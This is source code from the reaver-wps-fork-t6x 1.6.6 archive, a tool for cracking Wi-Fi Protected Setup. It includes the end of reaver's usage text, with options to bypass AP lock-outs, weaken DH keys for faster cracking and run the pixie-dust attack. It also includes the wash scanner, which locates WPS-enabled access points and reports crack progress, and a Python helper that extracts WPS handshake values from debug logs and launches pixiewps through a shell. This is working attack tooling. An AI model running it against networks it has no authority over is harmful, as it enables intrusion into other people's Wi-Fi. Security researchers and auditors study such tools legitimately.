--lock-delay= Set the time to wait if the AP locks WPS pin attempts [%d]\n", DEFAULT_LOCK_DELAY); fprintf(stderr, "\t-g, --max-attempts= Quit after num pin attempts\n"); fprintf(stderr, "\t-x, --fail-wait= Set the time to sleep after %d unexpected failures [0]\n", WARN_FAILURE_COUNT); fprintf(stderr, "\t-r, --recurring-delay= Sleep for y seconds every x pin attempts\n"); fprintf(stderr, "\t-t, --timeout= Set the receive timeout period [%d]\n", DEFAULT_TIMEOUT); fprintf(stderr, "\t-T, --m57-timeout= Set the M5/M7 timeout period [%.2f]\n", fail_timeout); fprintf(stderr, "\t-A, --no-associate Do not associate with the AP (association must be done by another application)\n"); fprintf(stderr, "\t-N, --no-nacks Do not send NACK messages when out of order packets are received\n"); fprintf(stderr, "\t-S, --dh-small Use small DH keys to improve crack speed\n"); fprintf(stderr, "\t-L, --ignore-locks Ignore locked state reported by the target AP\n"); fprintf(stderr, "\t-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet\n"); fprintf(stderr, "\t-J, --timeout-is-nack Treat timeout as NACK (DIR-300/320)\n"); fprintf(stderr, "\t-F, --ignore-fcs Ignore frame checksum errors\n"); fprintf(stderr, "\t-w, --win7 Mimic a Windows 7 registrar [False]\n"); fprintf(stderr, "\t-K, --pixie-dust Run pixiedust attack\n"); fprintf(stderr, "\t-Z Run pixiedust attack\n"); fprintf(stderr, "\t-O, --output-file= Write packets of interest into pcap file\n"); fprintf(stderr, "\nExample:\n\t%s -i wlan0mon -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name); return EXIT_FAILURE; } reaver-wps-fork-t6x-1.6.6/src/wpscrack.h000066400000000000000000000034551363372615500200740ustar00rootroot00000000000000/* * Reaver - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef WPSCRACK_H #define WPSCRACK_H #include "defs.h" #include "argsparser.h" #include "sigint.h" #include "cracker.h" #define BELL "\x07" #define BELL_COUNT 4 void parse_recurring_delay(char *arg); #endif reaver-wps-fork-t6x-1.6.6/src/wpsmon.c000066400000000000000000000432761363372615500176020ustar00rootroot00000000000000/* * Wash - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "wpsmon.h" #include "utils/file.h" #include "utils/vendor.h" #include "send.h" #include #define MAX_APS 512 extern const char* get_version(void); static void wash_usage(char *prog); int show_all_aps = 0; int json_mode = 0; int show_utf8_ssid = 0; int show_crack_progress = 0; static struct mac { unsigned char mac[6]; unsigned char vendor_oui[1+3]; unsigned char probes; unsigned char flags; } seen_list[MAX_APS]; enum seen_flags { SEEN_FLAG_PRINTED = 1, SEEN_FLAG_COMPLETE = 2, }; static unsigned seen_count; static int list_insert(char *bssid) { unsigned i; unsigned char mac[6]; str2mac(bssid, mac); for(i=0; i= MAX_APS) return -1; memcpy(seen_list[seen_count].mac, mac, 6); return seen_count++; } static int was_printed(char* bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) { unsigned f = seen_list[x].flags; seen_list[x].flags |= SEEN_FLAG_PRINTED; return f & SEEN_FLAG_PRINTED; } return 1; } static void mark_ap_complete(char *bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) seen_list[x].flags |= SEEN_FLAG_COMPLETE; } static int is_done(char *bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) return seen_list[x].flags & SEEN_FLAG_COMPLETE; return 1; } static int should_probe(char *bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) return seen_list[x].probes < get_max_num_probes(); return 0; } static void update_probe_count(char *bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) seen_list[x].probes++; } static void set_ap_vendor(char *bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS) memcpy(seen_list[x].vendor_oui, globule->vendor_oui, sizeof(seen_list[x].vendor_oui)); } static unsigned char *get_ap_vendor(char* bssid) { int x = list_insert(bssid); if(x >= 0 && x < MAX_APS && seen_list[x].vendor_oui[0]) return seen_list[x].vendor_oui+1; return 0; } static volatile int got_sigint; static void sigint_handler(int x) { (void) x; got_sigint = 1; pcap_breakloop(get_handle()); } int wash_main(int argc, char *argv[]) { int c = 0; FILE *fp = NULL; int long_opt_index = 0, i = 0, channel = 0, passive = 0, mode = 0; int source = INTERFACE, ret_val = EXIT_FAILURE; struct bpf_program bpf = { 0 }; char *last_optarg = NULL, *target = NULL, *bssid = NULL; char *short_options = "i:c:n:b:O:25sfuFDhajUp"; struct option long_options[] = { { "bssid", required_argument, NULL, 'b' }, { "interface", required_argument, NULL, 'i' }, { "channel", required_argument, NULL, 'c' }, { "probes", required_argument, NULL, 'n' }, { "output-file", required_argument, NULL, 'O'}, { "file", no_argument, NULL, 'f' }, { "ignore-fcs", no_argument, NULL, 'F' }, { "2ghz", no_argument, NULL, '2' }, { "5ghz", no_argument, NULL, '5' }, { "scan", no_argument, NULL, 's' }, { "survey", no_argument, NULL, 'u' }, { "all", no_argument, NULL, 'a' }, { "json", no_argument, NULL, 'j' }, { "utf8", no_argument, NULL, 'U' }, { "progress", no_argument, NULL, 'p' }, { "help", no_argument, NULL, 'h' }, { 0, 0, 0, 0 } }; globule_init(); set_auto_channel_select(0); set_wifi_band(0); set_debug(INFO); set_validate_fcs(1); /* send all warnings, etc to stderr */ set_log_file(stderr); set_max_num_probes(DEFAULT_MAX_NUM_PROBES); setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); while((c = getopt_long(argc, argv, short_options, long_options, &long_opt_index)) != -1) { switch(c) { case 'f': source = PCAP_FILE; break; case 'i': set_iface(optarg); break; case 'b': bssid = strdup(optarg); break; case 'c': channel = atoi(optarg); set_fixed_channel(1); break; case 'O': { int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660); set_output_fd(ofd); if(ofd == -1) perror("open outputfile failed: "); } break; case '5': set_wifi_band(get_wifi_band() | AN_BAND); break; case '2': set_wifi_band(get_wifi_band() | BG_BAND); break; case 'n': set_max_num_probes(atoi(optarg)); break; case 'j': json_mode = 1; break; case 's': mode = SCAN; break; case 'u': mode = SURVEY; break; case 'F': set_validate_fcs(0); break; case 'a': show_all_aps = 1; break; case 'U': show_utf8_ssid = 1; break; case 'p': show_crack_progress = 1; break; default: wash_usage(argv[0]); goto end; } /* Track the last optarg. This is used later when looping back through any specified pcap files. */ if(optarg) { if(last_optarg) { free(last_optarg); } last_optarg = strdup(optarg); } } if(get_wifi_band() == 0) set_wifi_band(BG_BAND); /* The interface value won't be set if capture files were specified; else, there should have been an interface specified */ if(!get_iface() && source != PCAP_FILE) { wash_usage(argv[0]); goto end; } else if(get_iface()) { /* Get the MAC address of the specified interface */ read_iface_mac(); } if(get_iface() && source == PCAP_FILE) { cprintf(CRITICAL, "[X] ERROR: -i and -f options cannot be used together.\n"); wash_usage(argv[0]); goto end; } /* If we're reading from a file, be sure we don't try to transmit probe requests */ if(source == PCAP_FILE) { passive = 1; } /* * Loop through all of the specified capture sources. If an interface was specified, this will only loop once and the * call to monitor() will block indefinitely. If capture files were specified, this will loop through each file specified * on the command line and monitor() will return after each file has been processed. */ for(i=argc-1; i>0; i--) { /* If the source is a pcap file, get the file name from the command line */ if(source == PCAP_FILE) { /* If we've gotten to the arguments, we're done */ if((argv[i][0] == '-') || (last_optarg && (memcmp(argv[i], last_optarg, strlen(last_optarg)) == 0)) ) { break; } else { target = argv[i]; } } /* Else, use the specified interface name */ else { target = get_iface(); } set_handle(capture_init(target)); if(!get_handle()) { cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface()); goto end; } /* Do it. */ monitor(bssid, passive, source, channel, mode); printf("\n"); } ret_val = EXIT_SUCCESS; end: globule_deinit(); if(bssid) free(bssid); if(wpsmon.fp) fclose(wpsmon.fp); return ret_val; } /* Monitors an interface (or capture file) for WPS data in beacon packets or probe responses */ void monitor(char *bssid, int passive, int source, int channel, int mode) { struct sigaction act; struct itimerval timer; struct pcap_pkthdr header; static int header_printed; const u_char *packet = NULL; memset(&act, 0, sizeof(struct sigaction)); memset(&timer, 0, sizeof(struct itimerval)); /* If we aren't reading from a pcap file, set the interface channel */ if(source == INTERFACE) { /* * If a channel has been specified, set the interface to that channel. * Else, set a recurring 1 second timer that will call sigalrm() and switch to * a new channel. */ if(channel > 0) { change_channel(channel); } else { act.sa_handler = sigalrm_handler; sigaction (SIGALRM, &act, 0); ualarm(CHANNEL_INTERVAL, CHANNEL_INTERVAL); int startchan = 1; if(get_wifi_band() == AN_BAND) startchan = 34; change_channel(startchan); } memset(&act, 0, sizeof(struct sigaction)); sigaction (SIGINT, 0, &act); act.sa_flags &= ~SA_RESTART; act.sa_handler = sigint_handler; sigaction (SIGINT, &act, 0); } if(!header_printed) { if(!json_mode) { if (show_crack_progress) { fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor Progr ESSID\n"); } else { fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor ESSID\n"); } //fprintf(stdout, "00:11:22:33:44:55 104 -77 1.0 Yes Bloatcom 0123456789abcdef0123456789abcdef\n"); fprintf (stdout, "--------------------------------------------------------------------------------\n"); } header_printed = 1; } while(!got_sigint && (packet = next_packet(&header))) { parse_wps_settings(packet, &header, bssid, passive, mode, source); memset((void *) packet, 0, header.len); } return; } #define wps_active(W) (((W)->version) || ((W)->locked != 2) || ((W)->state)) #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) /* probe responses, just like beacons, start their management frame packet with the same fixed parameters of size 12 */ #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len) void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source) { struct libwps_data *wps = NULL; enum encryption_type encryption = NONE; char *bssid = NULL, *ssid = NULL, *lock_display = NULL; char *crack_progress = NULL; int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0; static int channel_changed = 0; if(packet == NULL || header == NULL) goto end; struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len); size_t rt_header_len = end_le16toh(rt_header->len); if(header->len < rt_header_len + sizeof(struct dot11_frame_header)) goto end; struct dot11_frame_header *frame_header = (void *) (packet + rt_header_len); unsigned f_type = frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE); unsigned fsub_type = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE); int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT); int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON); int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP); if(!(is_probe_resp || is_beacon)) goto end; if(is_beacon && header->len < BEACON_SIZE(rt_header_len)) goto end; if(is_probe_resp && header->len < PROBE_RESP_SIZE(rt_header_len)) goto end; /* If a specific BSSID was specified, only parse packets from that BSSID */ if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) && !is_target(frame_header)) goto end; wps = malloc(sizeof(struct libwps_data)); memset(wps, 0, sizeof(struct libwps_data)); set_ssid(NULL); bssid = (char *) mac2str(frame_header->addr3, ':'); set_bssid((unsigned char *) frame_header->addr3); if(bssid) { if((target == NULL) || (target != NULL && strcmp(bssid, target) == 0)) { channel = parse_beacon_tags(packet, header->len); if(channel == 0) { channel = freq_to_chan(rt_channel_freq(packet, header->len)); /* If we didn't get channel from tagged IEs nor radiotap, we take it from the current chan of the scan */ if(!channel) channel = get_channel(); } rssi = signal_strength(packet, header->len); ssid = (char *) get_ssid(); if(target != NULL && channel_changed == 0) { ualarm(0, 0); change_channel(channel); channel_changed = 1; } if(is_probe_resp || is_beacon) { wps_parsed = parse_wps_parameters(packet, header->len, wps); if(is_beacon || !get_ap_vendor(bssid)) set_ap_vendor(bssid); } if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) { if(is_beacon && mode == SCAN && !passive && should_probe(bssid)) { send_probe_request(get_bssid(), get_ssid()); probe_sent = 1; } if(!json_mode && (!was_printed(bssid) && (wps_active(wps) || show_all_aps == 1))) { if(wps_active(wps)) switch(wps->locked) { case WPSLOCKED: lock_display = YES; break; case UNLOCKED: case UNSPECIFIED: lock_display = NO; break; } else lock_display = NO; if (show_crack_progress) { crack_progress = get_crack_progress(frame_header->addr3); } char* vendor = get_vendor_string(get_ap_vendor(bssid)); char* sane_ssid = sanitize_string(ssid); if(show_utf8_ssid && verifyssid(ssid)) strcpy(sane_ssid,ssid); if(wps_active(wps)) { if (show_crack_progress) fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %5s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); else fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid); } else { if (show_crack_progress) fprintf(stdout, "%17s %3d %.2d %8s %5s %s\n", bssid, channel, rssi, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); else fprintf(stdout, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", sane_ssid); } free(sane_ssid); if (crack_progress) free(crack_progress); } if(probe_sent) { update_probe_count(bssid); } /* * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on. * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on. */ if(!wps_parsed || is_probe_resp) { mark_ap_complete(bssid); if(json_mode && (show_all_aps || wps_active(wps))) { if (show_crack_progress) { crack_progress = get_crack_progress(frame_header->addr3); } char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps, crack_progress); fprintf(stdout, "%s\n", json_string); fflush(stdout); free(json_string); if (crack_progress) free(crack_progress); } } } } free(bssid); bssid = NULL; } end: if(wps) free(wps); set_bssid((unsigned char *) NULL_MAC); return; } /* Does what it says */ void send_probe_request(unsigned char *bssid, char *essid) { const void *probe = NULL; size_t probe_size = 0; probe = build_wps_probe_request(bssid, essid, &probe_size); if(probe) { send_packet(probe, probe_size, 0); free((void *) probe); } return; } /* Whenever a SIGALRM is thrown, go to the next 802.11 channel */ void sigalrm_handler(int x) { next_channel(); } static void print_header(void) { fprintf(stderr, "\nWash v%s WiFi Protected Setup Scan Tool\n", get_version()); fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner\n\n"); } static void wash_usage(char *prog) { print_header(); fprintf(stderr, "Required Arguments:\n"); fprintf(stderr, "\t-i, --interface= Interface to capture packets on\n"); fprintf(stderr, "\t-f, --file [FILE1 FILE2 FILE3 ...] Read packets from capture files\n"); fprintf(stderr, "\nOptional Arguments:\n"); fprintf(stderr, "\t-c, --channel= Channel to listen on [auto]\n"); fprintf(stderr, "\t-n, --probes= Maximum number of probes to send to each AP in scan mode [%d]\n", DEFAULT_MAX_NUM_PROBES); fprintf(stderr, "\t-O, --output-file= Write packets of interest into pcap file\n"); fprintf(stderr, "\t-F, --ignore-fcs Ignore frame checksum errors\n"); fprintf(stderr, "\t-2, --2ghz Use 2.4GHz 802.11 channels\n"); fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); fprintf(stderr, "\t-s, --scan Use scan mode\n"); fprintf(stderr, "\t-u, --survey Use survey mode [default]\n"); fprintf(stderr, "\t-a, --all Show all APs, even those without WPS\n"); fprintf(stderr, "\t-j, --json print extended WPS info as json\n"); fprintf(stderr, "\t-U, --utf8 Show UTF8 ESSID (does not sanitize ESSID, dangerous)\n"); fprintf(stderr, "\t-p, --progress Show percentage of crack progress\n"); fprintf(stderr, "\t-h, --help Show help\n"); fprintf(stderr, "\nExample:\n"); fprintf(stderr, "\t%s -i wlan0mon\n\n", prog); return; } reaver-wps-fork-t6x-1.6.6/src/wpsmon.h000066400000000000000000000056431363372615500176030ustar00rootroot00000000000000/* * Walsh - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef WPSMON_H #define WPSMON_H #include #include #include #include #include #include "defs.h" #include "globule.h" #include "misc.h" #include "init.h" #include "iface.h" #include "80211.h" #include "builder.h" #include "session.h" #define INTERFACE 0 #define PCAP_FILE 1 #define PROBE_RESPONSE 0x05 #define WPS_VENDOR_ID "\x00\x50\xF2\x04" #define WPS_VENDOR_ID_SIZE 4 #define VENDOR_ID_OFFSET 2 #define LENGTH_OFFSET 1 #define SURVEY 0 #define SCAN 1 #define CHANNEL_INTERVAL 999999 #define YES "Yes" #define NO "No " enum tag_type { HEX = 0, STRING = 1 }; struct elements { int number; enum tag_type type; char *name; }; struct data_element { uint16_t type; uint16_t len; }; struct global_variables { int csv; FILE *fp; int bssid_count; unsigned char **bssids; } wpsmon; void monitor(char *bssid, int passive, int source, int channel, int mode); void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source); void send_probe_request(unsigned char *bssid, char *essid); int is_dup(unsigned char *bssid); void mark_bssid(unsigned char *bssid); void free_bssid_list(unsigned char **list, int count); void sigalrm_handler(int x); #endif reaver-wps-fork-t6x-1.6.6/tools/000077500000000000000000000000001363372615500164505ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/tools/logfilter.py000077500000000000000000000052461363372615500210230ustar00rootroot00000000000000#!/usr/bin/env python # this is a filter meant to be used with a logfile containing # debug output from wpa_supplicant or reaver, which extracts # cryptographic values of interest and tries to run pixiewps # with them. input is passed on stdin. import sys, os class Data(): def __init__(self): self.pke = '' self.pkr = '' self.e_hash1 = '' self.e_hash2 = '' self.authkey = '' self.e_nonce = '' self.e_snonce1 = '' self.e_snonce2 = '' self.wpa_psk = '' def __repr__(self): return \ "pke = " + self.pke + "\n" \ "pkr = " + self.pkr + "\n" \ "e_hash1 = " + self.e_hash1 + "\n" \ "e_hash2 = " + self.e_hash2 + "\n" \ "authkey = " + self.authkey + "\n" \ "e_nonce = " + self.e_nonce + "\n" \ "e_snonce1 = " + self.e_snonce1 + "\n" \ "e_snonce2 = " + self.e_snonce2 + "\n" \ "wpa_psk = " + self.wpa_psk + "\n" def process_wpa_supplicant_line(data, line): def get_hex(line): a = line.split(':', 3) return a[2].replace(' ', '') if line.startswith('WPS: '): if 'Enrollee Nonce' in line and 'hexdump' in line: data.e_nonce = get_hex(line) assert(len(data.e_nonce) == 16*2) elif 'DH own Public Key' in line and 'hexdump' in line: data.pkr = get_hex(line) assert(len(data.pkr) == 192*2) elif 'DH peer Public Key' in line and 'hexdump' in line: data.pke = get_hex(line) assert(len(data.pke) == 192*2) elif 'AuthKey' in line and 'hexdump' in line: data.authkey = get_hex(line) assert(len(data.authkey) == 32*2) elif 'E-Hash1' in line and 'hexdump' in line: data.e_hash1 = get_hex(line) assert(len(data.e_hash1) == 32*2) elif 'E-Hash2' in line and 'hexdump' in line: data.e_hash2 = get_hex(line) assert(len(data.e_hash2) == 32*2) elif 'Network Key' in line and 'hexdump' in line: data.wpa_psk = get_hex(line).decode('hex') elif 'E-SNonce1' in line and 'hexdump' in line: data.e_snonce1 = get_hex(line) assert(len(data.e_snonce1) == 16*2) elif 'E-SNonce2' in line and 'hexdump' in line: data.e_snonce2 = get_hex(line) assert(len(data.e_snonce2) == 16*2) def got_all_pixie_data(data): return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2 def get_pixie_cmd(data): return "pixiewps --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s" % \ (data.pke, data.pkr, data.e_hash1, data.e_hash2, data.authkey, data.e_nonce) if __name__ == '__main__': data = Data() while True: line = sys.stdin.readline() if line == '': break process_wpa_supplicant_line(data, line.rstrip('\n')) print(data) if got_all_pixie_data(data): pixiecmd = get_pixie_cmd(data) print(("running %s" % pixiecmd)) os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd)